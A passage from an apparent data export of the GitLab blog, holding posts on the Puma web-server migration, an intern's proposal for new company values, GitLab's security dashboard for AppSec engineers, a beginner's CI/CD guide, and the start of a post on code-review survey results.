that our usage of [ChronicDuration](https://gitlab.com/gitlab-org/gitlab/-/issues/31285) was not thread-safe. We ended up [forking the code](https://gitlab.com/gitlab-org/gitlab/-/issues/31285#note_215961555) and distributing our own [gitlab-chronic-duration](https://gitlab.com/gitlab-org/gitlab-chronic-duration) to solve our thread-safety issues.\n\nWe encountered only minor issues in the previous environments but once we deployed to Canary our infrastructure team reported some [unacceptable latency issues](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7455#note_239070865). We spent a significant amount of time tuning [Puma](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/8334) for the optimal configuration of workers to threads. We also discovered some changes required to our [health-check endpoint](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4835) to ensure minimal to no downtime during upgrades.\n\n### Puma Upstream Patch\n\nAs we zeroed in on tuning GitLab.com with Puma we discovered that the capacity was not being evenly distributed. Puma capacity is calculated by `workers * threads`, so if you have 2 workers and 2 threads you have a capacity of 4. Since Puma uses round-robin to schedule requests, and no other criteria, we saw evidence of some workers being saturated while others sat idle. The simple [fix](https://github.com/puma/puma/pull/2079/files) proposed by [Kamil Trzcinski](https://gitlab.com/ayufan) was to make Puma inject a minimal amount of latency between requests if the worker is already processing requests. This would allow other workers (that are idle) to accept socket much faster than our worker that is already processing other traffic.\n\nYou can read more details about the discovery and research [here](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/8334#note_247859173).\n\n## Our results\n\nOnce we deployed Puma to our entire web fleet we observed a drop in memory usage from 1.28T to approximately 800GB (approximately a 37% drop) while our request queuing, request duration and CPU usage all remained roughly the same.\n\nMore details and graphs can be found [here](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/1684#note_291225063). \n\nPuma is now on by default for all GitLab customers in the [GitLab 13.0 release](/releases/2020/05/22/gitlab-13-0-released/).\n\n## What's next\n\nWe want to review our infrastructure needs! The efficiency gains brought about by deploying Puma will allow us to re-examine the memory needs of Rails nodes in production. \n\nAlso, Puma has enabled us to continue to pursue our efforts to enable [real time editing](https://gitlab.com/groups/gitlab-org/-/epics/52). \n\n**More about GitLab's infrastructure:**\n\n[How we scaled Sidekiq](/blog/scaling-our-use-of-sidekiq/)\n\n[Make your pipelines more flexible](/blog/directed-acyclic-graph/)\n\n[The inside scoop on the building of our Status Page](/blog/how-we-built-status-page-mvc/)\n\nCover image by [John Moeses Bauan](https://unsplash.com/@johnmoeses) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[676,754,1268],{"slug":22847,"featured":6,"template":678},"migrating-to-puma-on-gitlab","content:en-us:blog:migrating-to-puma-on-gitlab.yml","Migrating To Puma On Gitlab","en-us/blog/migrating-to-puma-on-gitlab.yml","en-us/blog/migrating-to-puma-on-gitlab",{"_path":22853,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22854,"content":22860,"config":22866,"_id":22868,"_type":16,"title":22869,"_source":17,"_file":22870,"_stem":22871,"_extension":20},"/en-us/blog/how-to-optimize-gitlab-s-culture-with-proper-values",{"title":22855,"description":22856,"ogTitle":22855,"ogDescription":22856,"noIndex":6,"ogImage":22857,"ogUrl":22858,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22858,"schema":22859},"How to Optimize GitLab’s Culture Through Ideal Values","An outside perspective on GitLab’s highly collaborative and agile culture, and ways in which they should improve their values","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681397/Blog/Hero%20Images/artem-kniaz-Z9_pOnIbgjg-unsplash__1_.jpg","https://about.gitlab.com/blog/how-to-optimize-gitlab-s-culture-with-proper-values","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to Optimize GitLab’s Culture Through Ideal Values\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan Regan\"}],\n        \"datePublished\": \"2020-07-07\",\n      }",{"title":22855,"description":22856,"authors":22861,"heroImage":22857,"date":22863,"body":22864,"category":18484,"tags":22865},[22862],"Brendan Regan","2020-07-07","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nI was immediately impressed by how unique GitLab is compared to any organization I have seen. Their culture and methodical processes were clearly evident during my brief summer internship. Sure, it’s all-remote, but that alone is not what makes it so unique. GitLab is also nimble, collaborative, and ambitious as employees communicate nearly seamlessly across the world. Like many growing organizations, it needs to refine some of its fundamental principles. \n\n## Exciting Aspects of GitLab’s Culture\n\n### Transparency\n\nGitLab states their mission is [everyone can contribute](/company/mission/#mission). By “everyone,” they mean it. Even outsiders can access GitLab’s website, propose changes to their content, and see those changes work their way through the approval process. This is a truly novel concept and affords the company input from a wider array of contributors than more traditional companies. This transparency is even mentioned in the introduction paragraph of their easily accessible [handbook](/handbook/#introduction), which is also available to everyone. \n\nGitLab boasts incredibly high levels of asynchronous communication, which requires and reinforces transparency. Asynchronous communication enables them to accomplish large tasks through a continuous process [over time](https://handbook.gitlab.com/handbook/values/#iteration), updating their products with small chunks, or “[minimum viable changes](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc).” [Meetings and meeting preparation](/company/culture/all-remote/meetings/) are also unique signals to their asynchronous culture. Participants are granted access to a shared Google doc before, during, and after meetings to promote asynchronous work and collaboratively effectively. This is an easy tactic many organizations can adopt to increase meeting productivity. Shared documents are also a fantastic method to record meeting notes and assign action items. \n\n### Initiative\n\nWhen I started my first day as an intern, I was sent a few links, told to initiate onboarding, and was given time and space to work on my own. I started working through the 401 onboarding tasks for new hires, and although many weren’t applicable to my internship, I spent much of my time on many tangential topics. While doing so, I quickly noticed that GitLab employees wield significant autonomy and are rewarded for their initiative.\n\nI have seen many organizations suffer from retaining the authority to enact change at senior levels while junior employees possess little ability to make small changes. GitLab deviates from this convention. A few days into my onboarding I noticed a few minor errors in the handbook and was able to submit a merge request to correct them. While the changes were minor spelling errors, this process cemented their culture in my mind. Take action, make the change.\n\nI was especially curious about the culture that has enabled GitLab’s recent success, especially as an all-remote company. All of GitLab’s work is documented, so I began to peruse what other people had written about their culture and strategy. I read the handbook, scheduled a coffee chat with Head of Remote, Darren Murph, to discuss culture, and stumbled upon a helpful blog that introduced me to a technique on how to increase productivity using the “[E-factor](/blog/e-factor-productivity/).” I also found an article on how to sensibly prioritize and accomplish tasks using the [Ivy Lee Method](https://jamesclear.com/ivy-lee) linked from someone’s README. I wrote this very blog post that you’re reading with the help of [a video posted on GitLab’s website](https://www.youtube.com/watch?v=Cxs5EMHNf6g) about drafting and submitting a blog post MR. All of this was made possible because of GitLab’s ambitious and transparent culture. This was all very impressive. \n \n### Forging Proper Values\n\nGitLab’s values and their effect on culture were of particular interest to me as someone with more management experience than technical expertise. After reading through their values page, it was apparent that GitLab may have significant conflicts with some of their values. \n \nTo value something does not necessarily mean it should be adopted as a company value. A high-performance thermos is of great value on a cold day, especially when it’s filled with piping hot coffee, but it is not something that should be espoused. Integrity, selflessness, and courage are also of great value, but unlike a thermos, they should also be espoused. These attributes will ensure greater success in an organization than more specific, metric-driven values like efficiency or iteration.\n\nGitLab’s [values](https://handbook.gitlab.com/handbook/values/) are designed to ensure a positive work environment and deliver world class results to their customers. The values are explicitly stated as Collaboration, Results, Efficiency, Diversity, Inclusion, and Belonging (three values in one), Iteration, and Transparency (CREDIT). \n\nI argue that these are not ideal values. These are things in which GitLab _can place value_, but they are not fundamental values to which the company should anchor their behavior. GitLab seems to have adopted values that are means, tactics, or metrics but not tenets which ought to govern their operations. \n\n### Ideal Values Are Fixed\n\nThe idea of continuous improvement is good in many applications, but bad when it comes to organizational values. GitLab adjusts their values over time to more clearly define their ideal culture. However, proper values should not need improvement over time. Organizational values must be resolute and foundational attributes espoused by all employees. They should be guiding, not malleable. They define the culture, and in turn, employees must adopt them to maintain the culture. Once established, these values must be adhered to throughout the organization, applied in new, unforeseen situations, and serve as screening criteria to ensure new hires properly assimilate into GitLab. Continuously shifting values will place GitLab at a significant disadvantage as the company expands and hires new employees based on their values fit.\n\n### Proper Values Do Not Conflict\n\nHere’s a hypothetical example of how GitLab’s values may conflict. A potential new hire would clearly contribute to GitLab’s diversity, a tightly held company value. However, the potential new hire is less qualified than another potential hire who would clearly contribute to achieving results in the best interest of the company, which is required under GitLab’s [permission to play](https://handbook.gitlab.com/handbook/values/#permission-to-play). Does GitLab hire the less-qualified individual and hope their contributions to diversity somehow outweigh their lack of positive results? Should GitLab directly pursue a diverse workforce? What about diverse opinions that are not congruent with GitLab’s values? Diversity should not be pursued for the sake of diversity, especially when it does not improve the company's results. This is only one of a myriad of conflicts that arise when values are developed from good intentions rather than ethics. \n \nLet’s take a look at values that are derived from ethics, such as duty and respect. These values are tightly related and mutually supportive. It often becomes a duty to respect others, and respect is often shown through dutiful work. A pharmacist demonstrates a duty to customers by thoroughly researching medicinal ingredients and their side effects. They also show respect to patients by reviewing potential side effects with the patient before they are prescribed the drug. \n \nIn contrast, GitLab’s values of results and efficiency can conflict quite easily. GitLab might achieve better results with a less efficient process, or vice versa. Here’s the main problem: results are not inherently good or bad. There can be good results from bad actions, and bad results from good actions. The simple pursuit of results is not enough, GitLab must pursue the correct results. But what are good results for GitLab? This question should be answered through a well-defined business strategy and internal metrics. Ethically-derived values such as duty, respect, and integrity must lay the foundation for GitLab’s business strategy. \n\nHow does GitLab address value conflicts? Through their [value hierarchy](https://handbook.gitlab.com/handbook/values/#hierarchy). As the company expands, this hierarchy exposes GitLab to potential damage as employees pursue _results_ above all other values. GitLab can avoid this dilemma by guiding their pursuit of results with ethical values instead of metrics.\n\n### The Way Ahead\n\n \n\nGitLab's processes should be continuously refined but their core values should not change. Their value statement should be simple, with clear and foundational values to unite their remote workforce. I propose GitLab adopt the values of **Respect**, **Service**, and **Integrity**. These are a start, and leadership may want to include one or two more values than the three I propose, but all current values are encompassed by these three proposed values as seen in the table below:\n\n \n\n\n\u003Ctable>\n  \u003Ctr>\n   \u003Ctd>\u003Cstrong>Current Values\u003C/strong>\n   \u003C/td>\n   \u003Ctd>\u003Cstrong>Proposed Values\u003C/strong>\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nCollaboration\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Respect\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nResults\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Service\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nEfficiency\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Service\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nDiversity, Inclusion, and Belonging\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Respect\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nIteration\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Service\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>\u003Cp style=\"text-align: left\">\nTransparency\u003C/p>\n\n   \u003C/td>\n   \u003Ctd>Integrity\n   \u003C/td>\n  \u003C/tr>\n\u003C/table>\n\n\n \n\nFurthermore, these new values provide GitLab the flexibility to adjust their methods if, say, innovation becomes more important than iteration. Without changing their entire value structure and their culture, they can remain committed to Respect, Service, and Integrity while they shift their processes to reinforce innovation more effectively. Hiring employees who respect others, serve selflessly, and conduct themselves with integrity will pay great dividends for GitLab’s culture, leadership, and reputation in an uncertain future. \n\nCover image by [Artem Kniaz](https://unsplash.com/photos/Z9_pOnIbgjg) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[754,754],{"slug":22867,"featured":6,"template":678},"how-to-optimize-gitlab-s-culture-with-proper-values","content:en-us:blog:how-to-optimize-gitlab-s-culture-with-proper-values.yml","How To Optimize Gitlab S Culture With Proper Values","en-us/blog/how-to-optimize-gitlab-s-culture-with-proper-values.yml","en-us/blog/how-to-optimize-gitlab-s-culture-with-proper-values",{"_path":22873,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22874,"content":22880,"config":22884,"_id":22886,"_type":16,"title":22887,"_source":17,"_file":22888,"_stem":22889,"_extension":20},"/en-us/blog/secure-stage-for-appsec",{"title":22875,"description":22876,"ogTitle":22875,"ogDescription":22876,"noIndex":6,"ogImage":22877,"ogUrl":22878,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22878,"schema":22879},"How GitLab's application security dashboard helps AppSec engineers","GitLab Security features help application security engineers collaborate more efficiently and better assess the security posture of the projects they oversee.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663482/Blog/Hero%20Images/ralph-kayden-4Cg5T03B_8s-unsplash.jpg","https://about.gitlab.com/blog/secure-stage-for-appsec","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's application security dashboard helps AppSec engineers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-07-07\",\n      }",{"title":22875,"description":22876,"authors":22881,"heroImage":22877,"date":22863,"body":22882,"category":734,"tags":22883},[1622],"\n[Application Security (AppSec)](/topics/devsecops/) engineers focus on enhancing an application's security, by\nfinding, resolving, and preventing vulnerabilities. But managing all these\nvulnerabilities across different teams and projects is not an easy process. Managing vulnerabilities\ncan be simplified by using the [GitLab Secure](/stages-devops-lifecycle/secure/)\nfeatures found in [GitLab Ultimate](/pricing/ultimate/).\n\nOne of the significant capabilities of GitLab Secure is the accurate, automated, and continuous assessment of the\nsecurity of your applications and services through a unified dashboard.\n\nIn this blog post, I will show four ways GitLab Secure makes life easier for the AppSec\nengineer.\n\n---\n\n## Finding vulnerabilities with security scans\n\nThe first capability that AppSec engineers will find useful is the robust security scanning capabilities in [GitLab Ultimate](/pricing/ultimate/).\n\nThese capabilities allow you to proactively identify vulnerabilities and weaknesses to minimize your security risk\nusing a variety of defense-in-depth techniques. The security scans include the following:\n\n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n* [License Scanning](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html)\n\n![pipeline with security scans](https://about.gitlab.com/images/blogimages/secure-stage-for-infosec-professionals/pipeline.png)\nGitLab pipeline running security scans\n{: .note.text-center}\n\nSimply add a [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Security)\nto your [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/#includetemplate) or by enable [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) to set-up the scans.\n\nWhen submitting a merge request (MR), the security scans will run and populate the MR with\ndata on the vulnerabilities detected and how to resolve them. This data allows AppSec engineers\nto begin risk analysis and remediation.\n\n## Managing vulnerabilities with the Security Dashboard\n\nThe second most useful capability for AppSec engineers is the [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), which helps\nkeep projects organized and summarizes the relevant security details for an application, all in one place.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/t-3TSlChHy4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe Security Dashboard in [GitLab Ultimate](/pricing/ultimate/) provides a high-level overview of the status of all the vulnerabilities\ndetected in groups, projects, and pipelines.\n\n![security dashboard with group view](https://about.gitlab.com/images/blogimages/secure-stage-for-infosec-professionals/dashboard-group.png)\nSecurity Dashboard Group-Level view\n{: .note.text-center}\n\nBy using the Security Dashboard, an AppSec engineer can drill down into each\nvulnerability to obtain additional information, such as how to resolve the vulnerability,\nhow it was handled by the developer, and if a work ticket (or GitLab issue) has been opened\nfor remediation.\n\nThe Security Dashboard also shows which file the vulnerability was detected in. Each vulnerability\nis assigned a severity and a report type. By using this information an AppSec Engineer\ncan quickly identify which items is the most critical for the team to tackle first.\n\n![security dashboard with project view](https://about.gitlab.com/images/blogimages/secure-stage-for-infosec-professionals/dashboard-project.png)\nSecurity Dashboard project-level view\n{: .note.text-center}\n\nIt's important to note the Security Dashboard supports integrations with third-party scanners.\nFor example, if you are using [WhiteSource](https://www.whitesourcesoftware.com/gitlab/), the\nscans results can added to and managed in the Security Dashboard.\n\n## Auditing with the Security Dashboard\n\nA third capability GitLab Secure offers AppSec engineers is auditing. The engineer can use this capability to audit\na project or group based on the vulnerabilities revealed in various tests. By using the Security Dashboard,\nthe AppSec engineer can see which vulnerabilities have been dismissed, the developer who dismissed them, as\nwell as the reason why they were dismissed. This is helpful for several reasons:\n\n* Check to make sure the development team is practicing secure coding\n* Confirm there are no malicious actors dismissing issues\n* Keep track of the status of vulnerabilities which could not be immediately resolved\n\n![security dashboard vulnerability info](https://about.gitlab.com/images/blogimages/secure-stage-for-infosec-professionals/dashboard-info.png)\nVulnerability info displayed in Security Dashboard\n{: .note.text-center}\n\nAn AppSec engineer can also track and create [confidential issues](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html) from the\nSecurity Dashboard. A team can keep track of the status\nof a vulnerability in private, and make sure it is still on track to being resolved when using confidential issues. A\nconfidential branch can be created along with the issue, so that the development team\ncan work on a resolution without tipping off malicious actors.\n\n![security dashboard confidential issue creation](https://about.gitlab.com/images/blogimages/secure-stage-for-infosec-professionals/dashboard-issue-creation.png)\nConfidential issues created via Security Dashboard\n{: .note.text-center}\n\n## Managing software licenses\n\nThe final capability we recommend AppSec engineers use is our license management.\n\nTypically, developers will use a variety of open source dependencies instead of reinventing the wheel.\nThere is a problem though: using a dependency with a restrictive license can invalidate your application.\n\nAn AppSec engineer is able to add a policy to mark licenses as acceptable or unacceptable for a project and its dependencies.\nIf an unacceptable license is found, the MR can be blocked. The video below provides\nan overview:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/42f9LiP5J_4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nGitLab Secure capabilities enhance the effiency of AppSec engineers, ultimately\nleading to the production of more secure applications and a more security-empowered\ndevelopment team. Learn more at [DevSecOps](/solutions/security-compliance/) and\ncheckout the [GitLab Secure direction page](/direction/secure/) for more\ninformation on the upcoming features and integrations.\n\n### Level up your DevSecOps knowledge:\n\n  [GitLab's security tools and the HIPAA risk analysis](https://about.gitlab.com/blog/gitlab-security-tools-and-the-hipaa-risk-analysis/)\n  [A deep dive into the Security Analyst persona](https://about.gitlab.com/blog/a-deep-dive-into-the-security-analyst-persona/)\n  [Compliance made easy with GitLab](https://about.gitlab.com/blog/compliance-made-easy/)\n\nCover image by [Ralph Kayden](https://unsplash.com/@ralphkayden) on [Unsplash](https://unsplash.com/photos/4Cg5T03B_8s)\n{: .note}\n\n## Learn more about DevSecOps\n\n- [Efficient DevSecOps: 9 tips for shifting left](/blog/efficient-devsecops-nine-tips-shift-left/)\n- [Want better DevSecOps? Try cross-functional collaboration](/blog/achieve-devsecops-collaboration/)\n- [Compliance made easy with GitLab](/blog/compliance-made-easy/)\n\n\u003C%= partial \"includes/blog/blog-merch-banner\" %>\n",[674,4103,1444,1899],{"slug":22885,"featured":6,"template":678},"secure-stage-for-appsec","content:en-us:blog:secure-stage-for-appsec.yml","Secure Stage For Appsec","en-us/blog/secure-stage-for-appsec.yml","en-us/blog/secure-stage-for-appsec",{"_path":22891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22892,"content":22898,"config":22903,"_id":22905,"_type":16,"title":22906,"_source":17,"_file":22907,"_stem":22908,"_extension":20},"/en-us/blog/beginner-guide-ci-cd",{"title":22893,"description":22894,"ogTitle":22893,"ogDescription":22894,"noIndex":6,"ogImage":22895,"ogUrl":22896,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22896,"schema":22897},"GitLab’s guide to CI/CD for beginners","CI/CD is a key part of the DevOps journey. Here’s everything you need to understand about this game-changing process.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681391/Blog/Hero%20Images/beginnercicd.jpg","https://about.gitlab.com/blog/beginner-guide-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s guide to CI/CD for beginners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-07-06\",\n      }",{"title":22893,"description":22894,"authors":22899,"heroImage":22895,"date":22900,"body":22901,"category":734,"tags":22902},[11618],"2020-07-06","\n\nContinuous integration and [continuous delivery/deployment](/topics/continuous-delivery/) (most often referred to as CI/CD) are the cornerstones of [DevOps](/topics/devops/) and any modern software development practice. Here’s everything you need to know about [CI/CD for beginners](/blog/how-to-keep-up-with-ci-cd-best-practices/).\n\n## What CI/CD means\n\nIf your software development process involves a lot of stopping, starting and handoffs, [CI/CD](/topics/ci-cd/) may be just what you’re looking for. A CI/CD pipeline is a seamless way for developers to make changes to code that are then automatically tested and pushed out for delivery and deployment. The goal is to eliminate downtime. Get CI/CD right and you’re well on the road to successful DevOps and dramatically faster code release. In our [2020 Global DevSecOps Survey](/blog/devsecops-survey-released/), nearly 83% of survey takers said they’re getting code out the door more quickly thanks to DevOps.\n\n## Understand CI/CD basics\n\nIf you’re not sure what a pipeline is, or how the entire process works, here’s a [detailed explanation](/blog/a-beginners-guide-to-continuous-integration/) of how all the moving parts work together to make software development quicker and easier.\n\n## Four benefits of CI/CD\n\nYes, CI/CD helps speed up delivery of code but it also makes for happier software developers. At a time when there continues to be [a worldwide shortage of software developers](https://www.gartner.com/en/newsroom/press-releases/2019-01-17-gartner-survey-shows-global-talent-shortage-is-now-the-top-emerging-risk-facing-organizations), it’s critical to retain technical talent. Developer job satisfaction is just one of [four key benefits](/blog/positive-outcomes-ci-cd/) that come from implementing a CI/CD process.\n\n## How to pick the right CI/CD tool\n\nNow that you’re sold on the [benefits of CI/CD](/topics/ci-cd/benefits-continuous-integration/) it’s time to choose a tool. There are a number of considerations, from [budget to room for growth](/topics/ci-cd/choose-continuous-integration-tool/) so it’s worth taking the time to think it through.\n\n## How to make the business case for CI/CD\n\nTo tie a CI/CD process to ROI isn’t difficult, but it’s an important step to take to get management buy-in. Here are [three factors to consider](/blog/modernize-your-ci-cd/) – including the hidden cost of toolchain sprawl – as you make the case for CI/CD.\n\n## Take 20 minutes and build a CI/CD pipeline\n\nOk, enough talking about theoreticals... it’s time to do something. Using GitLab’s [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) functionality, you can [move from code to production](/blog/building-a-cicd-pipeline-in-20-mins/) in just two simple steps and in only 20 minutes (no, really, just 20 minutes).\n\n## Next stop: Kubernetes!\n\nFinally, you can tie your GitLab CI pipeline into Google Kubernetes Engine (GKE) and as a bonus it takes only 15 minutes. Our [step-by-step tutorial](/blog/gitlab-ci-on-google-kubernetes-engine/) is completely beginner-friendly.\n\n**Level up your CI/CD knowledge:**\n\n[How CI can put the \"Sec\" in DevSecOps](/blog/solve-devsecops-challenges-with-gitlab-ci-cd/)\n\n[Autoscale GitLab CI with AWS Fargate](/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate/)\n\n[Get started with parent-child pipelines](/blog/parent-child-pipelines/)\n\nCover image by [Kyle Glenn](https://unsplash.com/@kylejglenn) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,4103,2509],{"slug":22904,"featured":6,"template":678},"beginner-guide-ci-cd","content:en-us:blog:beginner-guide-ci-cd.yml","Beginner Guide Ci Cd","en-us/blog/beginner-guide-ci-cd.yml","en-us/blog/beginner-guide-ci-cd",{"_path":22910,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22911,"content":22916,"config":22921,"_id":22923,"_type":16,"title":22924,"_source":17,"_file":22925,"_stem":22926,"_extension":20},"/en-us/blog/challenges-of-code-reviews",{"title":22912,"description":22913,"ogTitle":22912,"ogDescription":22913,"noIndex":6,"ogImage":9234,"ogUrl":22914,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22914,"schema":22915},"The challenges of code reviews","The 2020 DevSecOps Report discovers that developers are bogged down by code reviews. Are they worth the trouble?","https://about.gitlab.com/blog/challenges-of-code-reviews","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The challenges of code reviews\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-07-03\",\n      }",{"title":22912,"description":22913,"authors":22917,"heroImage":9234,"date":22918,"body":22919,"category":8943,"tags":22920},[20767],"2020-07-03","\n\n## Code review and quality challenges\n\nCode reviews are stressful. As a merge request owner, you're giving others an inside look at your abilities and thought processes. As a reviewer, there’s something quite daunting about serving as the last stop before code is merged to the main branch. When teams face uncertain processes, lengthy wait times, and lack of buy-in, an inherently difficult task can soon feel Sisyphean. In GitLab’s [2020 Global DevSecOps Survey](/developer-survey/previous/2020/), over 3600 software professionals shared their thoughts on code reviews, and the results reinforce that code reviews are a challenging aspect of software development.\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals. You can also compare it with [previous year surveys](/developer-survey/previous/)_\n\n## Why is code review important?\n\nCode reviews enable developers to more easily identify bugs, because they’re assessing the code with a fresh perspective. Shipping clean code decreases the likelihood of errors nestling into the main branch. Teams turn to code reviews as a way to share knowledge, mentor newer developers, and ease the burden of development. When everyone reviews code, there is no longer a single point of failure that can halt delivery and risk missing releases or business goals.\n\nStudies show that [code reviews increase collaboration](https://www.microsoft.com/en-us/research/publication/expectations-outcomes-and-challenges-of-modern-code-review/), because the process of working together to improve code quality creates a shared ownership of the codebase. Developers work towards a common goal rather than feel proprietary attachment to their lines.\n\n## Code reviews according to developers\n\nIn the 2020 DevSecOps Report, developers candidly shared their views on code reviews, with many highlighting the challenges of ensuring code quality standards. Here’s a look at what developers said about code reviews.\n\n| **How frequently does your team conduct code reviews?** |\n| Weekly |  48.9% |\n| Bi-weekly |  13.6% |\n| Monthly |  9.5% |\n\nMost respondents do code reviews weekly, indicating that teams are committed to making them part of their workflow.\n\n| **How do code reviews happen?** |\n| Messaging chat |  40.8% |\n| Offline |  28.6% |\n| Other |  20.9% |\n| Video |  9.7% |\n\nDocumentation is an important part of a successful code review. Authors should be able to refer to a checklist or assessment that highlights areas of improvement or excellence. Respondents indicated that the majority of code reviews occur in messaging chat or offline, which may enable written documentation.\n\n| **How do you prefer to do code reviews?** |\n| IDE | 44% |\n| Browser |  41.4% |\n| Code/text editor |  14.6% |\n\nConducting code reviews in integrated development environments and browsers is unsurprising, because there’s a low barrier to entry in participating and collaborating with others.\n\nMany respondents shared their thoughts about the specific challenges they face when doing code reviews.\n\n_“Code reviews can take a long time due to the lack of reviewers.”_\n\nWithout enough reviewers, code reviews can become overwhelming for the few people who make time for this task. Code reviews become a burdensome activity that can prevent certain team members from meeting goals and delivering.\n\n_“As an all-remote company, we haven't yet solved the problem of needing reviews from people in much different time zones and working hours. We have a strict code review process, and it often takes several days for the reviewer to respond to requests for review. Planning takes a while, and our code review process, while awesome, takes some time.”_\n\nWorking in a distributed team can have drawbacks, especially when waiting for domain experts or maintainers to review code. While processes are important in establishing workflow, it’s equally important not to slow down team members with process.\n\n_“Our code review process is disorganized. It took more time when reviewing the code and testing than expected.”_\n\nOn the other hand, not having an established review process can lead to stress, confusion, and pressure. Team members may dread code reviews due to the disorganization, which can lead to insufficient assessment.\n\n_“Some experts do not understand the importance of code review and regard it as a secondary task.”_\n\nWhen some team members do not value code review, they may deprioritize it and be reluctant participants. Collaboration is a key component in ensuring successful code reviews, and lack of buy-in can slowly erode morale.\n\n## Are code reviews worth it?\n\nBased on the frustration level found in the 2020 DevSecOps Survey, it’s hard not to wonder whether code reviews are worth the trouble. But all complaints aside, it’s clear that the review process is helpful.\n\n| **How valuable are code reviews?** |\n| Very valuable | 61.9% |\n| Moderately valuable |  33.3% |\n| They have no effect |  3.7% |\n\nCode reviews are worth the difficulties, because they help teams collaborate to maintain a clean codebase, learn from each other to develop new skills, and ensure that innovative solutions solve complex problems. In order for team members to feel like code reviews are valuable, IT leaders must invest time in establishing processes to ensure that everyone has the tools and knowledge to succeed.\n\n## Ready to learn more about code reviews?\n\nHere are a few resources to help you alleviate the challenges of code review.\n\n**[Read GitLab’s mandatory code review process →](https://docs.gitlab.com/ee/development/code_review.html)**\n\n**[Learn how to troubleshoot delays with GitLab’s Code Review Analytics tool →](/blog/troubleshoot-delays-with-code-review-analytics/)**\n\n**[Discover better code reviews GitLab style →](/blog/better-code-reviews/)**\n\n**[What blocks faster code releases? It starts with testing\n →](/blog/what-blocks-faster-code-release/)**\n\n**[Read about GitLab’s experience with Reviewer Roulette →](/blog/reviewer-roulette-one-year-on/)**\n",[1207,8570,4103],{"slug":22922,"featured":6,"template":678},"challenges-of-code-reviews","content:en-us:blog:challenges-of-code-reviews.yml","Challenges Of Code 